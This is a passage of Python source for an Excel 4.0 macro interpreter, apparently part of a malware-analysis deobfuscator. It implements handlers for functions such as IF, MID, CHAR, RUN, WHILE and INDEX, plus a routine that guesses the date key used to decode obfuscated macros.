interactive, parse_tree_root):\n        text = ''\n        for arg in arguments:\n            arg_eval_result = self.evaluate_parse_tree(current_cell, arg, interactive)\n            text += arg_eval_result.get_text(unwrap=True)\n        return_val = text\n        text = EvalResult.wrap_str_literal(text)\n        status = EvalStatus.FullEvaluation\n        return EvalResult(None, status, return_val, text)\n\n    def day_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        if self.day_of_month is None:\n            arg1_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n            if arg1_eval_result.status == EvalStatus.FullEvaluation:\n                if type(arg1_eval_result.value) is datetime.datetime:\n                    #\n                    # text = str(arg1_eval_result.value.day)\n                    # return_val = text\n                    # status = EvalStatus.FullEvaluation\n\n                    return_val, status, text = self.guess_day()\n\n                elif self.is_float(arg1_eval_result.value):\n                    text = 'DAY(Serial Date)'\n                    status = EvalStatus.NotImplemented\n            else:\n                text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n                status = arg1_eval_result.status\n        else:\n            text = str(self.day_of_month)\n            return_val = text\n            status = EvalStatus.FullEvaluation\n        return EvalResult(None, status, return_val, text)\n\n    def guess_day(self):\n\n        xlm = self\n        min = 1\n        best_day = 0\n        for day in range(1, 32):\n            xlm.char_error_count = 0\n            non_printable_ascii = 0\n            total_count = 0\n            xlm = copy.copy(xlm)\n            xlm.day_of_month = day\n            try:\n                for index, step in enumerate(xlm.deobfuscate_macro(False, silent_mode=True)):\n                    for char in step[2]:\n                        if not (32 <= ord(char) <= 128):\n                            non_printable_ascii += 1\n                    total_count += len(step[2])\n\n                    if index > 10 and ((non_printable_ascii + xlm.char_error_count) / total_count) > min:\n                        break\n\n                if total_count != 0 and ((non_printable_ascii + xlm.char_error_count) / total_count) < min:\n                    min = ((non_printable_ascii + xlm.char_error_count) / total_count)\n                    best_day = day\n                    if min == 0:\n                        break\n            except Exception as exp:\n                pass\n        self.day_of_month = best_day\n        text = str(self.day_of_month)\n        return_val = text\n        status = EvalStatus.FullEvaluation\n        return return_val, status, text\n    #https://stackoverflow.com/questions/9574793/how-to-convert-a-python-datetime-datetime-to-excel-serial-date-number\n    def excel_date(self, date1):\n            temp = datetime.datetime(1899, 12, 30)    # Note, not 31st Dec but 30th!\n            delta = date1 - temp\n            return float(delta.days) + (float(delta.seconds) / 86400)\n\n    def now_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        return_val = text = self.excel_date(datetime.datetime.now() + datetime.timedelta(seconds=self._now_count * self._now_step))\n        self._now_count += 1\n        status = EvalStatus.FullEvaluation\n        return EvalResult(None, status, return_val, text)\n\n    def value_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        return_val_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        status = EvalStatus.FullEvaluation\n        value = EvalResult.unwrap_str_literal(return_val_result.value)\n        if EvalResult.is_int(value):\n            return_val = int(value)\n            text = str(return_val)\n        elif EvalResult.is_float(value):\n            return_val = float(value)\n            text = str(return_val)\n        else:\n            status = EvalStatus.Error\n            text = self.convert_ptree_to_str(parse_tree_root)\n            return_val = 0\n        return EvalResult(None, status, return_val, text)\n\n    def if_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        visited = False\n        for stack_frame in self._branch_stack:\n            if stack_frame[0].get_local_address() == current_cell.get_local_address():\n                visited = True\n        if visited is False:\n            # self._indent_level += 1\n            size = len(arguments)\n            if size == 3:\n                cond_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n                if self.is_bool(cond_eval_result.value):\n                    cond_eval_result.value = bool(strtobool(cond_eval_result.value))\n                elif self.is_int(cond_eval_result.value):\n                    if int(cond_eval_result.value) == 0:\n                        cond_eval_result.value = False\n                    else:\n                        cond_eval_result.value = True\n\n                if cond_eval_result.status == EvalStatus.FullEvaluation:\n                    if cond_eval_result.value:\n                        if type(arguments[1]) is Tree or type(arguments[1]) is Token:\n                            self._branch_stack.append(\n                                (current_cell, arguments[1], current_cell.sheet.cells, self._indent_level, '[TRUE]'))\n                            status = EvalStatus.Branching\n                        else:\n                            status = EvalStatus.FullEvaluation\n                    else:\n                        if type(arguments[2]) is Tree or type(arguments[2]) is Token:\n                            self._branch_stack.append(\n                                (current_cell, arguments[2], current_cell.sheet.cells, self._indent_level, '[FALSE]'))\n                            status = EvalStatus.Branching\n                        else:\n                            status = EvalStatus.FullEvaluation\n                    text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n\n                else:\n                    memory_state = copy.deepcopy(current_cell.sheet.cells)\n                    if type(arguments[2]) is Tree or type(arguments[2]) is Token or type(arguments[2]) is list:\n                        self._branch_stack.append(\n                            (current_cell, arguments[2], memory_state, self._indent_level, '[FALSE]'))\n\n                    if type(arguments[1]) is Tree or type(arguments[1]) is Token or type(arguments[1]) is list:\n                        self._branch_stack.append(\n                            (current_cell, arguments[1], current_cell.sheet.cells, self._indent_level, '[TRUE]'))\n\n                    text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n\n                    status = EvalStatus.FullBranching\n            else:\n                status = EvalStatus.FullEvaluation\n                text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n        else:\n            # loop detected\n            text = '[[LOOP]]: ' + XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n            status = EvalStatus.End\n        return EvalResult(None, status, 0, text)\n\n    def mid_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        str_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        base_eval_result = self.evaluate_parse_tree(current_cell, arguments[1], interactive)\n        len_eval_result = self.evaluate_parse_tree(current_cell, arguments[2], interactive)\n        status = EvalStatus.PartialEvaluation\n        return_val = \"\"\n        if str_eval_result.status == EvalStatus.FullEvaluation:\n            if base_eval_result.status == EvalStatus.FullEvaluation and \\\n                    len_eval_result.status == EvalStatus.FullEvaluation:\n                if self.is_float(base_eval_result.value) and self.is_float(len_eval_result.value):\n                    base = int(float(base_eval_result.value)) - 1\n                    length = int(float(len_eval_result.value))\n                    return_val = EvalResult.unwrap_str_literal(str_eval_result.value)[base: base + length]\n                    text = str(return_val)\n                    status = EvalStatus.FullEvaluation\n        if status == EvalStatus.PartialEvaluation:\n            text = 'MID({},{},{})'.format(XLMInterpreter.convert_ptree_to_str(arguments[0]),\n                                          XLMInterpreter.convert_ptree_to_str(arguments[1]),\n                                          XLMInterpreter.convert_ptree_to_str(arguments[2]))\n        return EvalResult(None, status, return_val, text)\n\n    def min_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        min = None\n        status = EvalStatus.PartialEvaluation\n\n        for argument in arguments:\n            arg_eval_result = self.evaluate_parse_tree(current_cell, argument, interactive)\n            if arg_eval_result.status == EvalStatus.FullEvaluation:\n                cur_val = self.convert_float(arg_eval_result.value)\n                if not min or cur_val < min:\n                    min = cur_val\n            else:\n                min = None\n                break\n\n        if min:\n            return_val = min\n            text = str(min)\n            status = EvalStatus.FullEvaluation\n        else:\n            text = return_val = self.convert_ptree_to_str(parse_tree_root)\n\n        return EvalResult(None, status, return_val, text)\n\n    def max_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        max = None\n        status = EvalStatus.PartialEvaluation\n\n        for argument in arguments:\n            arg_eval_result = self.evaluate_parse_tree(current_cell, argument, interactive)\n            if arg_eval_result.status == EvalStatus.FullEvaluation:\n                cur_val = self.convert_float(arg_eval_result.value)\n                if not max or cur_val > max:\n                    max = cur_val\n            else:\n                max = None\n                break\n\n        if max:\n            return_val = max\n            text = str(max)\n            status = EvalStatus.FullEvaluation\n        else:\n            text = return_val = self.convert_ptree_to_str(parse_tree_root)\n\n        return EvalResult(None, status, return_val, text)\n\n    def product_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        total = None\n        status = EvalStatus.PartialEvaluation\n\n        for argument in arguments:\n            arg_eval_result = self.evaluate_parse_tree(current_cell, argument, interactive)\n            if arg_eval_result.status == EvalStatus.FullEvaluation:\n                if not total:\n                    total = self.convert_float(arg_eval_result.value)\n                else:\n                    total *= self.convert_float(arg_eval_result.value)\n            else:\n                total = None\n                break\n\n        if total:\n            return_val = total\n            text = str(total)\n            status = EvalStatus.FullEvaluation\n        else:\n            text = return_val = self.convert_ptree_to_str(parse_tree_root)\n\n        return EvalResult(None, status, return_val, text)\n\n    def mod_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        arg1_eval_res = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        arg2_eval_res = self.evaluate_parse_tree(current_cell, arguments[1], interactive)\n        if arg1_eval_res.status == EvalStatus.FullEvaluation and arg2_eval_res.status == EvalStatus.FullEvaluation:\n            return_val = float(arg1_eval_res.value) % float(arg2_eval_res.value)\n            text = str(return_val)\n            status = EvalStatus.FullEvaluation\n        return EvalResult(None, status, return_val, text)\n\n    def sqrt_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        arg1_eval_res = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        status = EvalStatus.PartialEvaluation\n\n        if arg1_eval_res.status == EvalStatus.FullEvaluation:\n            return_val = math.floor(math.sqrt(float(arg1_eval_res.value)))\n            text = str(return_val)\n            status = EvalStatus.FullEvaluation\n\n        if status == EvalStatus.PartialEvaluation:\n            return_val = text = self.convert_ptree_to_str(parse_tree_root)\n        return EvalResult(None, status, return_val, text)\n\n    def goto_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        next_sheet, next_col, next_row = self.get_cell_addr(current_cell, arguments[0])\n        next_cell = None\n        if next_sheet is not None and next_sheet in self.xlm_wrapper.get_macrosheets():\n            next_cell = self.get_formula_cell(self.xlm_wrapper.get_macrosheets()[next_sheet],\n                                              next_col,\n                                              next_row)\n            status = EvalStatus.FullEvaluation\n        else:\n            status = EvalStatus.Error\n        text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n        return_val = 0\n        return EvalResult(next_cell, status, return_val, text)\n\n    def halt_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        return_val = text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n        status = EvalStatus.End\n        self._indent_level -= 1\n        return EvalResult(None, status, return_val, text)\n\n    def call_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        argument_texts = []\n        status = EvalStatus.FullEvaluation\n        for argument in arguments:\n            arg_eval_result = self.evaluate_parse_tree(current_cell, argument, interactive)\n            if arg_eval_result.status != EvalStatus.FullEvaluation:\n                status = arg_eval_result.status\n            argument_texts.append(arg_eval_result.get_text())\n\n        list_separator = self.xlm_wrapper.get_xl_international_char(XlApplicationInternational.xlListSeparator)\n        text = 'CALL({})'.format(list_separator.join(argument_texts))\n        return_val = 0\n        return EvalResult(None, status, return_val, text)\n\n    def is_number_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        if eval_result.status == EvalStatus.FullEvaluation:\n            if self.is_int(eval_result.text) or self.is_float(eval_result.text):\n                return_val = 1\n            else:\n                return_val = 0\n            text = str(return_val)\n        else:\n            text = 'ISNUMBER({})'.format(eval_result.get_text())\n            return_val = 1  # true\n\n        return EvalResult(None, eval_result.status, return_val, text)\n\n    def search_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        arg1_eval_res = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        arg2_eval_res = self.evaluate_parse_tree(current_cell, arguments[1], interactive)\n        if arg1_eval_res.status == EvalStatus.FullEvaluation and arg2_eval_res.status == EvalStatus.FullEvaluation:\n            try:\n                arg1_val = EvalResult.unwrap_str_literal(str(arg1_eval_res.value))\n                arg2_val = EvalResult.unwrap_str_literal(arg2_eval_res.value)\n                return_val = arg2_val.lower().index(arg1_val.lower())\n                text = str(return_val)\n            except ValueError:\n                return_val = None\n                text = ''\n            status = EvalStatus.FullEvaluation\n        else:\n            text = 'SEARCH({},{})'.format(arg1_eval_res.get_text(), arg2_eval_res.get_text())\n            return_val = 0\n            status = EvalStatus.PartialEvaluation\n\n        return EvalResult(None, status, return_val, text)\n\n    def round_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        arg1_eval_res = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        arg2_eval_res = self.evaluate_parse_tree(current_cell, arguments[1], interactive)\n        if arg1_eval_res.status == EvalStatus.FullEvaluation and arg2_eval_res.status == EvalStatus.FullEvaluation:\n            return_val = round(float(arg1_eval_res.value), int(float(arg2_eval_res.value)))\n            text = str(return_val)\n            status = EvalStatus.FullEvaluation\n        return EvalResult(None, status, return_val, text)\n\n    def roundup_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        arg1_eval_res = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        if arg1_eval_res.status == EvalStatus.FullEvaluation:\n            return_val = math.ceil(float(arg1_eval_res.value))\n            text = str(return_val)\n            status = EvalStatus.FullEvaluation\n        return EvalResult(None, status, return_val, text)\n\n    def directory_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        text = r'C:\\Users\\user\\Documents'\n        return_val = text\n        status = EvalStatus.FullEvaluation\n        return EvalResult(None, status, return_val, text)\n\n    def char_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n\n        if arg_eval_result.status == EvalStatus.FullEvaluation:\n            value = arg_eval_result.text\n            if arg_eval_result.value in self.defined_names:\n                value = self.defined_names[arg_eval_result.value].value\n            if 0 <= float(value) <= 255:\n                return_val = text = chr(int(float(value)))\n                # cell = self.get_formula_cell(current_cell.sheet, current_cell.column, current_cell.row)\n                # cell.value = text\n                status = EvalStatus.FullEvaluation\n            else:\n                return_val = text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n                self.char_error_count += 1\n                status = EvalStatus.Error\n        else:\n            text = 'CHAR({})'.format(arg_eval_result.text)\n            return_val = text\n            status = EvalStatus.PartialEvaluation\n        return EvalResult(arg_eval_result.next_cell, status, return_val, text)\n\n    def t_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        return_val = ''\n        if arg_eval_result.status == EvalStatus.FullEvaluation:\n            if isinstance(arg_eval_result.value, tuple) and len(arg_eval_result.value) == 3:\n                cell = self.get_cell(arg_eval_result.value[0], arg_eval_result.value[1], arg_eval_result.value[2])\n                return_val = cell.value\n            elif arg_eval_result.value != 'TRUE' and arg_eval_result.value != 'FALSE':\n                return_val = str(arg_eval_result.value)\n            status = EvalStatus.FullEvaluation\n        else:\n            status = EvalStatus.PartialEvaluation\n        return EvalResult(arg_eval_result.next_cell, status, return_val, EvalResult.wrap_str_literal(str(return_val), must_wrap=True))\n\n    def int_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        return_val = int(0)\n        if arg_eval_result.status == EvalStatus.FullEvaluation:\n            text = str(arg_eval_result.value).lower()\n            if text == \"true\":\n                return_val = int(1)\n            elif text == \"false\":\n                return_val = int(0)\n            else:\n                return_val = int(arg_eval_result.value)\n            status = EvalStatus.FullEvaluation\n        else:\n            status = EvalStatus.PartialEvaluation\n        return EvalResult(arg_eval_result.next_cell, status, return_val, str(return_val))\n\n    def run_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        size = len(arguments)\n        next_cell = None\n        status = EvalStatus.PartialEvaluation\n        if 1 <= size <= 2:\n            next_sheet, next_col, next_row = self.get_cell_addr(current_cell, arguments[0])\n            if next_sheet is not None and next_sheet in self.xlm_wrapper.get_macrosheets():\n                next_cell = self.get_formula_cell(self.xlm_wrapper.get_macrosheets()[next_sheet],\n                                                  next_col,\n                                                  next_row)\n                if size == 1:\n                    text = 'RUN({}!{}{})'.format(next_sheet, next_col, next_row)\n                else:\n                    text = 'RUN({}!{}{}, {})'.format(next_sheet, next_col, next_row,\n                                                     XLMInterpreter.convert_ptree_to_str(arguments[1]))\n                status = EvalStatus.FullEvaluation\n            else:\n                text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n                status = EvalStatus.Error\n            return_val = 0\n        else:\n            text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n            status = EvalStatus.Error\n            return_val = 1\n\n        return EvalResult(next_cell, status, return_val, text)\n\n    def formula_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        return self.evaluate_formula(current_cell, 'FORMULA', arguments, interactive)\n\n    def formula_fill_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        return self.evaluate_formula(current_cell, 'FORMULA.FILL', arguments, interactive)\n\n    def formula_array_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        return self.evaluate_formula(current_cell, 'FORMULA.ARRAY', arguments, interactive)\n\n    def set_value_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        return self.evaluate_formula(\n            current_cell, 'SET.VALUE', arguments, interactive, destination_arg=2, set_value_only=True)\n\n    def error_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        return EvalResult(None, EvalStatus.FullEvaluation, 0, XLMInterpreter.convert_ptree_to_str(parse_tree_root))\n\n    def select_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        status = EvalStatus.PartialEvaluation\n\n        range_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n\n        if len(arguments) == 2:\n            # e.g., SELECT(B1:B100,B1) and SELECT(,\"R[1]C\")\n            if self.active_cell:\n                sheet, col, row = self.get_cell_addr(self.active_cell, arguments[1])\n            else:\n                sheet, col, row = self.get_cell_addr(current_cell, arguments[1])\n\n            if sheet:\n                self.active_cell = self.get_cell(sheet, col, row)\n                status = EvalStatus.FullEvaluation\n        elif isinstance(arguments[0], Token):\n            text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n            return_val = 0\n        elif arguments[0].data == 'range':\n            # e.g., SELECT(D1:D10:D1)\n            sheet, col, row = self.selected_range[2]\n            if sheet:\n                self.active_cell = self.get_cell(sheet, col, row)\n                status = EvalStatus.FullEvaluation\n        elif arguments[0].data == 'cell':\n            # select(R1C1)\n            if self.active_cell:\n                sheet, col, row = self.get_cell_addr(self.active_cell, arguments[0])\n            else:\n                sheet, col, row = self.get_cell_addr(current_cell, arguments[0])\n            if sheet:\n                self.active_cell = self.get_cell(sheet, col, row)\n                status = EvalStatus.FullEvaluation\n\n        text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n        return_val = 0\n\n        return EvalResult(None, status, return_val, text)\n\n    def iterate_range(self, name, start_cell, end_cell):\n        sheet_name = start_cell[0]\n        row_start = int(start_cell[2])\n        row_end = int(end_cell[2])\n        for row_index in range(row_start, row_end + 1):\n            col_start = Cell.convert_to_column_index(start_cell[1])\n            col_end = Cell.convert_to_column_index(end_cell[1])\n            for col_index in range(col_start, col_end+1):\n                next_cell = self.get_cell(sheet_name, Cell.convert_to_column_name(col_index), row_index)\n                if next_cell:\n                    yield next_cell\n\n    def forcell_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        var_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n\n        start_cell_ptree, end_cell_ptree = self.get_range_parts(arguments[1])\n        start_cell = self.get_cell_addr(current_cell, start_cell_ptree)\n        end_cell = self.get_cell_addr(current_cell, end_cell_ptree)\n\n        if start_cell[0] != end_cell[0]:\n            end_cell = (start_cell[0], end_cell[1], end_cell[2])\n\n        skip = False\n        if len(arguments) >= 3:\n            skip_eval_result = self.evaluate_parse_tree(current_cell, arguments[2], interactive)\n            skip = bool(skip_eval_result.value)\n\n        variable_name = EvalResult.unwrap_str_literal(var_eval_result.value).lower()\n\n        if len(self._while_stack) > 0 and self._while_stack[-1]['start_point'] == current_cell:\n            iterator = self._while_stack[-1]['iterator']\n        else:\n            iterator = self.iterate_range(variable_name, start_cell, end_cell)\n            stack_record = {'start_point': current_cell, 'status': True, 'iterator': iterator}\n            self._while_stack.append(stack_record)\n\n        try:\n            self.defined_names[variable_name] = next(iterator)\n        except:\n            self._while_stack[-1]['status'] = False\n\n        self._indent_level += 1\n\n        return EvalResult(None, EvalStatus.FullEvaluation, 0 , self.convert_ptree_to_str(parse_tree_root))\n\n    def while_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        status = EvalStatus.PartialEvaluation\n        text = ''\n\n        stack_record = {'start_point': current_cell, 'status': False}\n\n        condition_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        status = condition_eval_result.status\n        if condition_eval_result.status == EvalStatus.FullEvaluation:\n            if str(condition_eval_result.value).lower() == 'true':\n                stack_record['status'] = True\n            text = '{} -> [{}]'.format(XLMInterpreter.convert_ptree_to_str(parse_tree_root),\n                                       str(condition_eval_result.value))\n\n        if not text:\n            text = '{}'.format(XLMInterpreter.convert_ptree_to_str(parse_tree_root))\n\n        self._while_stack.append(stack_record)\n\n        if stack_record['status'] == False:\n            self.ignore_processing = True\n\n        self._indent_level += 1\n\n        return EvalResult(None, status, 0, text)\n\n    def next_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        status = EvalStatus.FullEvaluation\n        next_cell = None\n        if self._indent_level == len(self._while_stack):\n            self.ignore_processing = False\n            next_cell = None\n            if len(self._while_stack) > 0:\n                top_record = self._while_stack.pop()\n                if top_record['status'] is True:\n                    next_cell = top_record['start_point']\n                if 'iterator' in top_record:\n                    self._while_stack.append(top_record)\n            self._indent_level = self._indent_level - 1 if self._indent_level > 0 else 0\n            self._indent_current_line = True\n\n        if next_cell is None:\n            status = EvalStatus.IGNORED\n\n        return EvalResult(next_cell, status, 0, 'NEXT')\n\n    def len_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        if arg_eval_result.status == EvalStatus.FullEvaluation:\n            return_val = len(arg_eval_result.get_text(unwrap=True))\n            text = str(return_val)\n            status = EvalStatus.FullEvaluation\n        else:\n            text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n            return_val = text\n            status = EvalStatus.PartialEvaluation\n        return EvalResult(None, status, return_val, text)\n\n    def define_name_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        arg_name_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        status = EvalStatus.PartialEvaluation\n        if arg_name_eval_result.status == EvalStatus.FullEvaluation:\n            arg_val_eval_result = self.evaluate_parse_tree(current_cell, arguments[1], interactive)\n            status = EvalStatus.FullEvaluation\n            name = EvalResult.unwrap_str_literal(arg_name_eval_result.text).lower()\n            if EvalResult.is_int(arg_val_eval_result.value):\n                self.defined_names[name] = int(arg_val_eval_result.value)\n            elif EvalResult.is_float(arg_val_eval_result.value):\n                self.defined_names[name] = float(arg_val_eval_result.value)\n            else:\n                self.defined_names[name] = arg_val_eval_result.value\n            return_val = self.defined_names[name]\n            text = \"DEFINE.NAME({},{})\".format(EvalResult.wrap_str_literal(name), str(return_val))\n        else:\n            return_val = text = self.convert_ptree_to_str(parse_tree_root)\n        return EvalResult(None, status, return_val, text)\n\n    def index_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        array_arg_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        status = EvalStatus.PartialEvaluation\n        if array_arg_result.status == EvalStatus.FullEvaluation:\n            index_arg_result = self.evaluate_parse_tree(current_cell, arguments[1], interactive)\n            if isinstance(array_arg_result.value, list):\n                # example: f9adf499bc16bfd096e00bc59c3233f022dec20c20440100d56e58610e4aded3\n                return_val = array_arg_result.value[int(float(index_arg_result.value))-1]  # index starts at 1 in excel\n            else:\n                # example: 6a8045bc617df5f2b8f9325ed291ef05ac027144f1fda84e78d5084d26847902\n                range = EvalResult.unwrap_str_literal(array_arg_result.value)\n                parsed_range = Cell.parse_range_addr(range)\n                index = int(float(index_arg_result.value))-1\n                row_str = str(int(float(parsed_range[2])) + index)\n\n                if parsed_range[0]:\n                    sheet_name = parsed_range[0]\n                else:\n                    sheet_name = current_cell.sheet.name\n\n                return_val = self.get_cell(sheet_name, parsed_range[1], row_str)\n\n            text = str(return_val)\n            status = EvalStatus.FullEvaluation\n        else:\n            return_val = text = self.convert_ptree_to_str(parse_tree_root)\n        return EvalResult(None, status, return_val, text)\n\n    def rows_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        status = EvalStatus.PartialEvaluation\n\n        if arg_eval_result.status == EvalStatus.FullEvaluation:\n            if isinstance(arg_eval_result.value, list):\n                # example: f9adf499bc16bfd096e00bc59c3233f022dec20c20440100d56e58610e4aded3\n                return_val = len(arg_eval_result.value)\n            else:\n                # example: 6a8045bc617df5f2b8f9325ed291ef05ac027144f1fda84e78d5084d26847902\n                range = EvalResult.unwrap_str_literal(arg_eval_result.value)\n                parsed_range = Cell.parse_range_addr(range)\n                return_val = int(parsed_range[4]) - int(parsed_range[2]) + 1\n            text = str(return_val)\n            status = EvalStatus.FullEvaluation\n\n        else:\n            return_val = text = self.convert_ptree_to_str(parse_tree_root)\n\n        return EvalResult(None, status, return_val, text)\n\n    def counta_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        sheet_name, startcolumn, startrow, endcolumn, endrow = Cell.parse_range_addr(arg_eval_result.text)\n        count = 0\n        it = int(startrow)\n\n        start_col_index = Cell.convert_to_column_index(startcolumn)\n        end_col_index = Cell.convert_to_column_index(endcolumn)\n\n        start_row_index = int(startrow)\n        end_row_index = int(endrow)\n\n        val_item_count = 0\n        for row in range(start_row_index, end_row_index + 1):\n            for col in range(start_col_index, end_col_index + 1):\n                if (sheet_name != None):\n                    cell = self.get_worksheet_cell(sheet_name,\n                                                   Cell.convert_to_column_name(col),\n                                                   str(row))\n                else:\n                    cell = self.get_cell(current_cell.sheet.name,\n                                         Cell.convert_to_column_name(col),\n                                         str(row))\n\n                if cell and cell.value != '':\n                    val_item_count += 1\n\n        return_val = val_item_count\n        status = EvalStatus.FullEvaluation\n        text = str(return_val)\n        return EvalResult(None, status, return_val, text)\n\n    def count_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        return_val = len(arguments)\n        text = str(return_val)\n        status = EvalStatus.FullEvaluation\n        return EvalResult(None, status, return_val, text)\n\n    def trunc_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        if arg_eval_result.status == EvalStatus.FullEvaluation:\n            if arg_eval_result.value == \"TRUE\":\n                return_val = 1\n            elif arg_eval_result.value == \"FALSE\":\n                return_val = 0\n            else:\n                return_val = math.trunc(float(arg_eval_result.value))\n            text = str(return_val)\n            status = EvalStatus.FullEvaluation\n        else:\n            text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n            return_val = text\n            status = EvalStatus.PartialEvaluation\n        return EvalResult(None, status, return_val, text)\n\n    def quotient_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        numerator_arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        Denominator_arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n\n        status = EvalStatus.PartialEvaluation\n        if numerator_arg_eval_result.status == EvalStatus.FullEvaluation and \\\n                Denominator_arg_eval_result.status == EvalStatus.FullEvaluation:\n            return_val = numerator_arg_eval_result.value // Denominator_arg_eval_result.value\n            text = str(return_val)\n            status = EvalStatus.FullEvaluation\n\n        return EvalResult(None, status, return_val, text)\n\n    def abs_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        if arg_eval_result.status == EvalStatus.FullEvaluation:\n            if arg_eval_result.value == \"TRUE\":\n                return_val = 1\n            elif arg_eval_result.value == \"FALSE\":\n                return_val = 0\n            else:\n                return_val = abs(float(arg_eval_result.value))\n            text = str(return_val)\n            status = EvalStatus.FullEvaluation\n        else:\n            text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n            return_val = text\n            status = EvalStatus.PartialEvaluation\n        return EvalResult(None, status, return_val, text)\n\n    def absref_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        arg_ref_txt_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        status = EvalStatus.PartialEvaluation\n        if arg_ref_txt_eval_result.status == EvalStatus.FullEvaluation and \\\n                (isinstance(arguments[1], Tree) and arguments[1].data == 'cell'):\n            offset_addr_text = arg_ref_txt_eval_result.value\n            base_addr_text = self.convert_ptree_to_str(arguments[1])\n            return_val = Cell.get_abs_addr(base_addr_text, offset_addr_text)\n            status = EvalStatus.FullEvaluation\n        else:\n            return_val = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n\n        return EvalResult(None, status, return_val, str(return_val))\n\n    def address_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        arg_row_num_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        arg_col_num_eval_result = self.evaluate_parse_tree(current_cell, arguments[1], interactive)\n\n        optional_args = True\n\n        if len(arguments) >= 3:\n            arg_abs_num_eval_result = self.evaluate_parse_tree(current_cell, arguments[2], interactive)\n            if arg_abs_num_eval_result.status == EvalStatus.FullEvaluation:\n                abs_num = arg_abs_num_eval_result.value\n            else:\n                optional_args = False\n        else:\n            abs_num = 1\n\n        if len(arguments) >= 4:\n            arg_a1_eval_result = self.evaluate_parse_tree(current_cell, arguments[3], interactive)\n            if arg_a1_eval_result.status == EvalStatus.FullEvaluation:\n                a1 = arg_a1_eval_result.value\n            else:\n                optional_args = False\n        else:\n            a1 = \"TRUE\"\n\n        if len(arguments) >= 5:\n            arg_sheet_eval_result = self.evaluate_parse_tree(current_cell, arguments[4], interactive)\n            if arg_sheet_eval_result.status == EvalStatus.FullEvaluation:\n                sheet_name = 